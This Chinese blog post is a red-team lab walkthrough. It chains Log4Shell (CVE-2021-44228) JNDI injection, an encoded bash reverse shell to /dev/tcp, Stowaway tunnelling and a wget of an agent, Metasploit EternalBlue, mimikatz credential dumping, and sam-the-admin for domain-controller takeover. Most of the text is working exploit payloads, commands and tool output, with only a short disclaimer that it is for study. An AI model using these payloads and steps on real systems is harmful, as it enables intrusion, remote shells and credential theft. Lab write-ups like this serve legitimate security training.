红队靶场
🎉B站配套视频:【顺手挂个三连呗】
https://www.bilibili.com/video/BV1CT411h7uo/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
🔥系列专栏:红队靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年5月1日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
前言
本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
环境搭建
可以直接开机开机使用,也可以按照给出的静态IP配置对应的虚拟网卡做分割
信息收集
nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.0.251
直接用nmao扫常用端口或者先使用masscan再使用nmap都可
开放两个端口,22以及38080
38080服务探测
非常非常明显的log4j
可以详细看看下面的文章
https://blog.csdn.net/Jietewang/article/details/122032174
CVE-2021-44228验证以及利用
开始验证
抓包进行修改,,漏洞点在POST体的/hello
如图:
并且加入payload如下
payload=${jndi:ldap://7mjkro.dnslog.cn/exp}
7mjkro.dnslog.cn是我们在dnslog平台申请的域名
同时http报文部分要加入:
Content-Type: application/x-www-form-urlencoded
来使得POST数据内容被解析
dnslog平台成功出现数据外带
而后修改post数据部分如下
1. 这是我们原始payload,用于反弹shell
bash -i >& /dev/tcp/192.168.74.136/9999 0>&1
2. 经过base64后如下
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjEzNi85OTk5IDA+JjE=
3. 对其中的特殊符号例如=,+进行两次的url编码
%253d->=
%252b->+
更改后如下
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjEzNi85OTk5IDA%252bJjE%253d
4. 使用如下攻击链
TomcatBypass/Command/Base64
5. 那么最终payload如下
payload=${jndi:ldap://192.168.74.136:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjEzNi85OTk5IDA%252bJjE%253d}
而后我们开启ldap服务器
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i ip
开启之后bp发包
而后本地nc开启等待,可以ctrl+c取消几次,有时候会卡住
这里可以看到已经成功反弹回来了
进行了检查,发现了是一个docker环境,尝试了一些办法没有办法进行逃逸
cat /proc/1/cgroup
https://blog.csdn.net/whatday/article/details/104107928
所以去到了/root下看看有没有什么敏感文件,发现了flag.txt
cat /root/flag.txt
可以看到有信息,一个凭证,鉴于机器开启了22端口,我们尝试用这个凭证连接目标
ssh saul@192.168.74.134
接着进行信息收集
ifconfig
等等
这里不再赘述
同时利用bash,简单的对内网进行探测
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
发现了新的目标
这里我们使用stowaway上传一个隧道工具
Stowaway使用
基本参数
https://github.com/ph4ntonn/Stowaway/releases/tag/v2.1
基本参数
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk
1. 服务端开启端口
./linux_x64_admin -l 192.168.125.134:8000 -s 123 //监听自己的8000端口,密钥123
2. 第一层连接
windows_x64_agent.exe -c 192.168.125.134:8000 -s 123 --reconnect 8 //主动找192的开启端口,再连时间8秒
***拥有节点时的参数:***
***detail 展示在线节点的详细信息
topo 展示在线节点的父子关系
use 使用某个agent
exit 退出***
use 1
socks 7777 admin admin
可以开启一个本地7777端口账号密码为admin的socks5代理
stopsocks可以停止
3. 多层连接连接(主动/被动)
1. 主动
use 0-> listen-> 选择1.Normal Passive-> 输入10001从而使得agent-1监听在10001端口上
windows_x64_agent.exe -c 192.168.10.9:10000 -s 123 --reconnect 8 //主动去找第一层的机器
2. 被动
./stowaway_agent -l 10000 -s 123 //被动连接
此方法需要在use 0-> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点
其它参数
1. 进shell
2. 做/删除备注
addmemo <string>
delmemo
3. 上传下载
upload <local filename> <remote filename>
download <remote filename> <local filename>
4. 映射admin端口到agent
forward 9000 127.0.0.1:22
把我的9000映射到agent的22
stopforward: 关闭当前节点的远程映射
5. 映射agent到admin
backward 9001 22
把当前节点的22映射到我的9001
stopbackward: 关闭当前节点的反向映射
6. SSH
命令节点以ssh方式连接目标机器
ssh xx.xx.xx.xx 22
SSH隧道隐藏流量
agent-2: ./stowaway_agent -l 10003 //目标10003等待连接
(node 0) >> sshtunnel 127.0.0.1:22 10003 //当前节点22端口伪装SSH流量去找10003
7. shutdown: 命令当前节点下线
8. back: 退回到主panel
上传的话直接本地kali开启一个简单http
python3 -m http.server 80
而后在已控主机
wget http://[ip]:port/linux_agent
根据上面的详细的参数配置利用,并开启一个
而后msf连接sock进行探测利用
MSF探测并进行MS17-010攻击
msf6 > setg Proxies socks5:192.168.74.139:7777
Proxies => socks5:192.168.74.139:7777
msf6 > setg ReverseAllowProxy true
ReverseAllowProxy => true
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options
msf6 auxiliary(scanner/smb/smb_version) > set rhost 10.0.1.7
rhost => 10.0.1.7
msf6 auxiliary(scanner/smb/smb_version) > run
使用smb进行探测,可以很快的探测到windows主机
是一个便捷的方法
发现了一个域内的win7机器,我们直接无脑上ms17-010,使用msf内置的模块,并使用正相连接的payload
msf6 auxiliary(scanner/smb/smb_version) > use windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
可以看到已经成功地拿到了一个meterpreter
接下来迁移进程之后hashdump,并且尝试对DC进行攻击
meterpreter > migrate 468
[*] Migrating from 1056 to 468...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2144 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001
C:\Windows\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Bluetooth ��������:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter �������� 2:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::940e:65f4:221e:aa1b%13
IPv4 Address. . . . . . . . . . . : 10.0.0.7
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.0.1
Ethernet adapter ��������:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::99d1:ff29:4cda:8856%11
IPv4 Address. . . . . . . . . . . : 10.0.1.7
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.1.1
从上面的终端回显中我们可以看到这台机器还连通了另一张网卡,我们加载mimikatz,并且dump一下,看看有没有收获
meterpreter > load mimikatz
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
meterpreter > creds_all
tspkg credentials
=================
Username Domain Password
-------- ------ --------
root REDTEAM Red12345
去掉了没啥用的地方,我们可以看到已经获取了一个有效的域内用户凭证,接下来建立路由,并使用cve-2021-42278/87组合拳一键日穿域控
这里有朋友会问为什么要用他,这一块主要要是尝试,打域控的一个方法就是尝试高危的,符合版本的漏洞,zerologon等等都可以尝试
MSF做路由
meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > run autoroute -p
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.0.0.0 255.255.255.0 Session 1
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 6666
SRVPORT => 6666
msf6 auxiliary(server/socks_proxy) > run
而后在/etc/proxychins4.conf修改如下
接下来带着代理我们去利用脚本一键getshell
https://github.com/WazeHell/sam-the-admin
proxhchains4 python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
这里可以看到已经成功利用了